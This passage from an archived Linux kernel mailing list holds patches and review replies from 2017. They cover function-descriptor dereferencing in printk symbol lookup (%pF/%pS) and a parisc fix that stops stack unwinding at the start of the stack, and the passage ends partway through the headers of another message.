        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Sep 16 05:59:22 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dt4GG-0008Pt-4X
	for glk-linux-kernel-3@m.gmane.org; Sat, 16 Sep 2017 05:59:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751958AbdIPD7Z (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 15 Sep 2017 23:59:25 -0400
Original-Received: from mail-pf0-f194.google.com ([209.85.192.194]:34733 "EHLO
        mail-pf0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751562AbdIPD7J (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 15 Sep 2017 23:59:09 -0400
Original-Received: by mail-pf0-f194.google.com with SMTP id g65so2071346pfe.1;
        Fri, 15 Sep 2017 20:59:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=jqMjDFZPlndvRBevPf6/l+Sbczz31K9fx87lxL4edT4=;
        b=oiBW2WKdxlwW9vsvbFYtD7e8dUTs1YXu3AFEShaY4CzfbJ/yOB9nIQlqztpnapR1BE
         qQjUprLVJnlEFlhwJ6ut07uJCp7cxRVUDQx6VirY4/Qz63Lk8u35eE8lbHZZe05Dv+pZ
         MR9IyqhhAez2WVnPxWl3ZqrIWWtfc1yCQfb9HH0jMa5xb1a5nAKYC4z704CdUmjwXmp/
         fWFROfT/meCHa4RD3on2hGDW799q07nbiX9SBxFLLyKkC6gNJm7ArJM+woSlix1P/bvB
         d5kvMogyTS2DoFYY308UWMStKo81zKDWeLEr+q5t2uoRlZX9tBm5EQ0Kitdd2JqajMUO
         h4WA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=jqMjDFZPlndvRBevPf6/l+Sbczz31K9fx87lxL4edT4=;
        b=LQ2FoFMcDpQ9cQmUk4AUY5DCYB0zFh0vsD3JnCRanrfc5h0/h14hDLblmixulUOjvo
         yyDbh56IYAAYCL89BxHUYWfMCBLqDoqNnKNxZnbcod89wJ0Pt7vzcQ9g8WydLTzqdX8b
         qvCCzjQndbHxm2R9UBeodI5NaW+nBOEj++qfRkx+wO42cGx+LXKPqYvBjgcirPlvIF8I
         jRAbBaZjn5dWwxvem1fOSvBGBKkDLcBzpetTDh//I4g018YWGZ3P4mn1BwhuUK4QR87h
         bdfvVN/ZL5808vRc8CaAxSrOBwRbUaIZH0qTW6qT44Tzj4S6vpTYJUf2di68QEcfiPMz
         1ySg==
X-Gm-Message-State: AHPjjUgsoq67m7jimNRYiyEvHz9x558WnKYMpmM53qFZGvzsE8fQPc5w
        l1l2uNkmjKZKtQ==
X-Google-Smtp-Source: ADKCNb4X5vFccnXsuJlsc4soNewupyWR/oxNEKfrTixQS056WWEFvtXUduzjurNjJIeQc+SqxXbJrA==
X-Received: by 10.84.174.67 with SMTP id q61mr29826581plb.242.1505534349202;
        Fri, 15 Sep 2017 20:59:09 -0700 (PDT)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id 76sm4448230pfp.158.2017.09.15.20.59.04
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 15 Sep 2017 20:59:08 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
In-Reply-To: <20170916035347.19705-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2571297 gmane.linux.ports.ia64:28111 gmane.linux.ports.parisc:27810 gmane.linux.ports.ppc64.devel:147948
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2571297>

Call appropriate function descriptor dereference ARCH callbacks:
- dereference_kernel_function_descriptor() if the pointer is a
  kernel symbol;

- dereference_module_function_descriptor() if the pointer is a
  module symbol.

This patch also removes dereference_function_descriptor() from
'%pF/%pf' vsprintf handler, because it has the same behavior with
'%pS/%ps' now.

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
---
 Documentation/printk-formats.txt | 15 +++++----------
 kernel/kallsyms.c                |  1 +
 kernel/module.c                  |  1 +
 lib/vsprintf.c                   |  5 +----
 4 files changed, 8 insertions(+), 14 deletions(-)

diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
index 361789df51ec..b2afafc84638 100644
--- a/Documentation/printk-formats.txt
+++ b/Documentation/printk-formats.txt
@@ -50,26 +50,23 @@ Symbols/Function Pointers
 
 ::
 
+	%pS	versatile_init+0x0/0x110
+	%ps	versatile_init
 	%pF	versatile_init+0x0/0x110
 	%pf	versatile_init
-	%pS	versatile_init+0x0/0x110
 	%pSR	versatile_init+0x9/0x110
 		(with __builtin_extract_return_addr() translation)
-	%ps	versatile_init
 	%pB	prev_fn_of_versatile_init+0x88/0x88
 
-The ``F`` and ``f`` specifiers are for printing function pointers,
-for example, f->func, &gettimeofday. They have the same result as
-``S`` and ``s`` specifiers. But they do an extra conversion on
-ia64, ppc64 and parisc64 architectures where the function pointers
-are actually function descriptors.
-
 The ``S`` and ``s`` specifiers can be used for printing symbols
 from direct addresses, for example, __builtin_return_address(0),
 (void *)regs->ip. They result in the symbol name with (``S``) or
 without (``s``) offsets. If KALLSYMS are disabled then the symbol
 address is printed instead.
 
+Note, that the ``F`` and ``f`` specifiers are identical to ``S`` (``s``)
+and thus deprecated.
+
 The ``B`` specifier results in the symbol name with offsets and should be
 used when printing stack backtraces. The specifier takes into
 consideration the effect of compiler optimisations which may occur
@@ -77,8 +74,6 @@ when tail-call``s are used and marked with the noreturn GCC attribute.
 
 Examples::
 
-	printk("Going to call: %pF\n", gettimeofday);
-	printk("Going to call: %pF\n", p->func);
 	printk("%s: called from %pS\n", __func__, (void *)_RET_IP_);
 	printk("%s: called from %pS\n", __func__,
 				(void *)__builtin_return_address(0));
diff --git a/kernel/kallsyms.c b/kernel/kallsyms.c
index 127e7cfafa55..e2fc09ea9509 100644
--- a/kernel/kallsyms.c
+++ b/kernel/kallsyms.c
@@ -322,6 +322,7 @@ const char *kallsyms_lookup(unsigned long addr,
 	if (is_ksym_addr(addr)) {
 		unsigned long pos;
 
+		addr = dereference_kernel_function_descriptor(addr);
 		pos = get_symbol_pos(addr, symbolsize, offset);
 		/* Grab name */
 		kallsyms_expand_symbol(get_symbol_offset(pos),
diff --git a/kernel/module.c b/kernel/module.c
index 87cdb46863cd..4f591f2bbf5a 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -3948,6 +3948,7 @@ const char *module_address_lookup(unsigned long addr,
 	preempt_disable();
 	mod = __module_address(addr);
 	if (mod) {
+		addr = dereference_module_function_descriptor(mod, addr);
 		if (modname)
 			*modname = mod->name;
 		ret = get_ksymbol(mod, addr, size, offset);
diff --git a/lib/vsprintf.c b/lib/vsprintf.c
index 86c3385b9eb3..bf04b4f5d8e7 100644
--- a/lib/vsprintf.c
+++ b/lib/vsprintf.c
@@ -40,7 +40,6 @@
 #include "../mm/internal.h"	/* For the trace_print_flags arrays */
 
 #include <asm/page.h>		/* for PAGE_SIZE */
-#include <asm/sections.h>	/* for dereference_function_descriptor() */
 #include <asm/byteorder.h>	/* cpu_to_le16 */
 
 #include <linux/string_helpers.h>
@@ -1721,10 +1720,8 @@ char *pointer(const char *fmt, char *buf, char *end, void *ptr,
 	}
 
 	switch (*fmt) {
-	case 'F':
+	case 'F': /* %pF and %pf are kept for compatibility reasons only */
 	case 'f':
-		ptr = dereference_function_descriptor(ptr);
-		/* Fallthrough */
 	case 'S':
 	case 's':
 	case 'B':
-- 
2.14.1



From - Thu Nov 08 21:40:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Naveen N. Rao" <naveen.n.rao@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 3/5] powerpc64: Add .opd based function descriptor
 dereference
Date: Sat, 16 Sep 2017 15:13:45 +0530
Lines: 25
Approved: news@gmane.org
Message-ID: <20170916094345.d332z3odceqiyrll@naverao1-tp.localdomain>
References: <20170916035347.19705-1-sergey.senozhatsky@gmail.com>
 <20170916035347.19705-4-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505555041 15402 195.159.176.226 (16 Sep 2017 09:44:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 16 Sep 2017 09:44:01 +0000 (UTC)
User-Agent: NeoMutt/20170714 (1.8.3)
Cc: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        Alexei Starovoitov <ast@kernel.org>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-kernel@vger.kernel.org, Jessica Yu <jeyu@kernel.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, Nicholas Piggin <npiggin@gmail.com>
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Sep 16 11:43:55 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dt9dj-0003p1-2H
	for glk-linux-kernel-3@m.gmane.org; Sat, 16 Sep 2017 11:43:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751256AbdIPJoA (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 16 Sep 2017 05:44:00 -0400
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1]:49193 "EHLO
        mx0a-001b2d01.pphosted.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1751050AbdIPJn5 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 16 Sep 2017 05:43:57 -0400
Original-Received: from pps.filterd (m0098396.ppops.net [127.0.0.1])
        by mx0a-001b2d01.pphosted.com (8.16.0.21/8.16.0.21) with SMTP id v8G9hqZY071594
        for <linux-kernel@vger.kernel.org>; Sat, 16 Sep 2017 05:43:57 -0400
Original-Received: from e23smtp02.au.ibm.com (e23smtp02.au.ibm.com [202.81.31.144])
        by mx0a-001b2d01.pphosted.com with ESMTP id 2d0x9p6jp7-1
        (version=TLSv1.2 cipher=AES256-SHA bits=256 verify=NOT)
        for <linux-kernel@vger.kernel.org>; Sat, 16 Sep 2017 05:43:56 -0400
Original-Received: from localhost
        by e23smtp02.au.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
        for <linux-kernel@vger.kernel.org> from <naveen.n.rao@linux.vnet.ibm.com>;
        Sat, 16 Sep 2017 19:43:54 +1000
Original-Received: from d23relay06.au.ibm.com (202.81.31.225)
        by e23smtp02.au.ibm.com (202.81.31.208) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
        Sat, 16 Sep 2017 19:43:52 +1000
Original-Received: from d23av06.au.ibm.com (d23av06.au.ibm.com [9.190.235.151])
        by d23relay06.au.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id v8G9hp0w36896822;
        Sat, 16 Sep 2017 19:43:51 +1000
Original-Received: from d23av06.au.ibm.com (localhost [127.0.0.1])
        by d23av06.au.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id v8G9hoiF018133;
        Sat, 16 Sep 2017 19:43:51 +1000
Original-Received: from localhost ([9.79.191.157])
        by d23av06.au.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id v8G9hmJb018106;
        Sat, 16 Sep 2017 19:43:49 +1000
Content-Disposition: inline
In-Reply-To: <20170916035347.19705-4-sergey.senozhatsky@gmail.com>
X-TM-AS-MML: disable
x-cbid: 17091609-0004-0000-0000-0000022F2714
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 17091609-0005-0000-0000-00005E185279
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:,, definitions=2017-09-16_02:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 spamscore=0 suspectscore=0
 malwarescore=0 phishscore=0 adultscore=0 bulkscore=0 classifier=spam
 adjust=0 reason=mlx scancount=1 engine=8.0.1-1707230000
 definitions=main-1709160148
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2571327 gmane.linux.ports.ia64:28112 gmane.linux.ports.parisc:27811 gmane.linux.ports.ppc64.devel:147949
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2571327>

On 2017/09/16 12:53PM, Sergey Senozhatsky wrote:
> We are moving towards separate kernel and module function descriptor
> dereference callbacks. This patch enables it for powerpc64.
> 
> For pointers that belong to the kernel
> -  Added __start_opd and __end_opd pointers, to track the kernel
>    .opd section address range;
> 
> -  Added dereference_kernel_function_descriptor(). Now we
>    will dereference only function pointers that are within
>    [__start_opd, __end_opd];
> 
> For pointers that belong to a module
> -  Added dereference_module_function_descriptor() to handle module
>    function descriptor dereference. Now we will dereference only
>    pointers that are within [module->opd.start, module->opd.end].

Would it be simpler to just use kernel_text_address() and dereference 
everything else? See commit 83e840c770f2c5 ("powerpc64/elfv1: Only 
dereference function descriptor for non-text symbols") for a related 
patch.

- Naveen



From - Thu Nov 08 21:40:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 3/5] powerpc64: Add .opd based function descriptor
 dereference
Date: Sat, 16 Sep 2017 20:25:35 +0900
Lines: 18
Approved: news@gmane.org
Message-ID: <20170916112535.GA495@tigerII.localdomain>
References: <20170916035347.19705-1-sergey.senozhatsky@gmail.com>
 <20170916035347.19705-4-sergey.senozhatsky@gmail.com>
 <20170916094345.d332z3odceqiyrll@naverao1-tp.localdomain>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505561427 13210 195.159.176.226 (16 Sep 2017 11:30:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 16 Sep 2017 11:30:27 +0000 (UTC)
User-Agent: Mutt/1.9.0 (2017-09-02)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        Alexei Starovoitov <ast@kernel.org>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-kernel@vger.kernel.org, Jessica Yu <jeyu@kernel.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, Nicholas Piggin <npiggin@gmail.com>
To: "Naveen N. Rao" <naveen.n.rao@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 16 13:30:18 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dtBIf-00038A-In
	for glpp-linux-parisc@m.gmane.org; Sat, 16 Sep 2017 13:30:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751248AbdIPLaY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 16 Sep 2017 07:30:24 -0400
Original-Received: from mail-pf0-f171.google.com ([209.85.192.171]:51174 "EHLO
        mail-pf0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751234AbdIPLaW (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 16 Sep 2017 07:30:22 -0400
Original-Received: by mail-pf0-f171.google.com with SMTP id m63so2682688pfk.7;
        Sat, 16 Sep 2017 04:30:22 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=2BybNKxn/OJ1EAknbK2Nw4mCslaBDC0c581QMLQAZwo=;
        b=aDJpqDqkJ7qThec5F2ubKc5r70T7GW5HPqD1Fj1VcVTUoSvjrMYowx6SHxqIz0d/OJ
         FKNOXL2wwM4Bh/pp3FXoQBeR+G+xbF9NMsSslQLQ6BkEfHKalUu/eR2Sd6s+FEuYrf7N
         RPNUlcfmcR/HFo0nP0awp6YV8Y4uH3WPZtUM8j+jJF9oyEylhutVL/IIy5v3apsprVx6
         1R/7DSH7cCN+anuk8EG4/xRdM9ZYfs0nerirHcslIaZUysoHOXiobMEcdZ/FfHnuy89s
         fteeJ6HykQ4RXNnXFlCGrQYOxj07lshJWmzubgTeWWdj/pME5ian13o/c6lGYl+mv3tu
         3d9Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=2BybNKxn/OJ1EAknbK2Nw4mCslaBDC0c581QMLQAZwo=;
        b=M6LT5vMpdm51jkhd+eVJb9IaUY/rGBdS6IdRppPJ++OzmkDRDsPoeu6c+ZN/BOq0lX
         CG0G2zSY193P0IbsahRLwod4WcDti/t9foOSY4Yjx0MXhwuZsDbSeFzboJETRQrvdJZ+
         /gpBPGIEMUdqyS3jqRAdkBXtC9KafulcBrNXKFLCJj7mL8136fXvtWoN2uXQQEqo+ce4
         e7KSGAImOp/P8kPbyX1sLBNnLs+WULBz6myIal/lOibl21uo1ht3PVdEXgKAhkIIBYET
         Aars1be/+wpWhRmhqysqQrkWr//UsQov7oPvzoKJvHLzS5pVYQhUUrPqe5RcMMMBe5Re
         m5Sg==
X-Gm-Message-State: AHPjjUhBCtUWxovOgQIbHIVMKOKC86x0IlF5yGarDC1RiVCOMk9FrFgk
        MeR1NnB9iYgzDw==
X-Google-Smtp-Source: ADKCNb62ZrR/3wcQa+tx6rRUkLM7SAL00M0bQy9KJ+V8CJeYF7HljspZGAZqCxkw6/ap3lMp13eZEg==
X-Received: by 10.84.133.41 with SMTP id 38mr17547732plf.203.1505561422060;
        Sat, 16 Sep 2017 04:30:22 -0700 (PDT)
Original-Received: from localhost ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id j68sm7513721pfa.93.2017.09.16.04.30.20
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Sat, 16 Sep 2017 04:30:21 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20170916094345.d332z3odceqiyrll@naverao1-tp.localdomain>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27812 gmane.linux.ports.ia64:28113 gmane.linux.kernel:2571354 gmane.linux.ports.ppc64.devel:147951
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27812>

On (09/16/17 15:13), Naveen N. Rao wrote:
[..]
> Would it be simpler to just use kernel_text_address() and dereference 
> everything else? See commit 83e840c770f2c5 ("powerpc64/elfv1: Only 
> dereference function descriptor for non-text symbols") for a related 
> patch.

I had this idea, see

lkml.kernel.org/r/20170908172528.qc2vdtxzqh777k6o@intel.com


	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Stop unwinding at start of stack
Date: Sun, 17 Sep 2017 21:05:02 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20170917190502.GA8355@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505675113 20746 195.159.176.226 (17 Sep 2017 19:05:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 17 Sep 2017 19:05:13 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 17 21:05:07 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dtesN-00059x-36
	for glpp-linux-parisc@m.gmane.org; Sun, 17 Sep 2017 21:05:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751352AbdIQTFO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 17 Sep 2017 15:05:14 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:60862 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751334AbdIQTFN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 17 Sep 2017 15:05:13 -0400
Original-Received: from p100.box ([193.159.28.181]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MGFz9-1df80l3U3T-00FE6Q; Sun, 17
 Sep 2017 21:05:04 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:Ngx1ACnQjpO4ISFDDJtnFQBWxcX6O5c6vjmayguBOmolLqAlHbr
 IVhduJwC0Nn/+biyixAExCqBPQA/KoXw+DWPyHROCuUl8LzXwjUbTkNrN4bS2zlBZAK/sjB
 pVPQGp9z01gnFbH0f74khFl3ZGLBbemmU3t4H99f/PDx2ChicfPZKRUQOM4bCe92e9Sb1XB
 88Mrm5b4/MrYzltc94Zxw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:QtltUC33oHo=:fShDR7z+54NAETrRI8HKHp
 jmIA47+qB5Mc/pjOz+So7CmIRZjCVOXIG/JUhYdyWbJA8fuaC/8LK8Y1maiSHV9uKYiYV3kXc
 mUaXzjGWuzbkJ/IRniXOlz+B3HSPWhPu6wjXjV7/+GNaPy7FETZVK/kZ9t7hn6MKVTpa5eXLa
 aMGTqd6aw/RHmcWbfj7ulobaZ0o4F3t8poz86x5rDzdI2G+kvEgDHtxnNOnewnABpcERiEkrh
 qXPGpDznCIa0M/830lQK+CqQfEKmfDJHQdXZs+173+rdzVGN8nkf5d+erV6DomnP6rJlCvZT8
 x227vI4bld/3NoPwiLcxHOcZPbSwIwDroGaBEQsfnO2pL5b8Gpp7EVmA26EFEfYjY8a+yTHX7
 oeCWb782QQO8+qbw7+Xe6SBpEIN9t8v4xpkHUPw4J6Rx5vUhHhHbELqn+3z6IhdIlQ9UfrRGT
 ZsIsAFIiau5U/u8HzRhO2XHSdb5uxC9DgLp3TZTDy39JEwjt7u3HuDLi7ytwF93wHD8O8Cz5L
 yXVEyDkD65nANBLBbwBmH2vkcBeVOfPZWPXk9fncHU9P/AzpLnjizJr8R935vpGLep2Nv0/3h
 aNxiZrsgGSwajm0CD2Vrb7F0o2C+D374bVkmlhWl/WzqQ8xam91SLopuWLxnMipwCtKP1Hi6X
 1ZAbSH8EQOBsTW3JaQG+N5sbCSbrxi9LLhtAOYRUmnftqe6aJbNQq0GLOWhKlsHdRwgRRYY35
 4cRVmzSEAPrVLjHH4ENAP5bUNp5LN1VaVOVO3eb+CRor9670hoVuhaNczwzR5VyTf+YvHkos 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27813
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27813>

Check stack pointer if we are reaching the stack end and stop unwinding
if we do. This fixes early backtraces and avoids showing unrealistic
call stacks.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index 48dc7d4..caab39d 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -14,6 +14,7 @@
 #include <linux/slab.h>
 #include <linux/kallsyms.h>
 #include <linux/sort.h>
+#include <linux/sched.h>
 
 #include <linux/uaccess.h>
 #include <asm/assembly.h>
@@ -279,6 +280,17 @@ static void unwind_frame_regs(struct unwind_frame_info *info)
 
 			info->prev_sp = sp - 64;
 			info->prev_ip = 0;
+
+			/* The stack is at the end inside the thread_union
+			 * struct. If we reach data, we have reached the
+			 * beginning of the stack and should stop unwinding. */
+			if (info->prev_sp >= (unsigned long) task_thread_info(info->t) &&
+			    info->prev_sp < ((unsigned long) task_thread_info(info->t)
+						+ THREAD_SZ_ALGN)) {
+				info->prev_sp = 0;
+				break;
+			}
+
 			if (get_user(tmp, (unsigned long *)(info->prev_sp - RP_OFFSET))) 
 				break;
 			info->prev_ip = tmp;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Add wrapper for pdc_instr() firmware function
Date: Sun, 17 Sep 2017 21:15:09 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <20170917191509.GA8511@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505675719 2225 195.159.176.226 (17 Sep 2017 19:15:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 17 Sep 2017 19:15:19 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 17 21:15:12 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dtf27-0000Qm-Ud
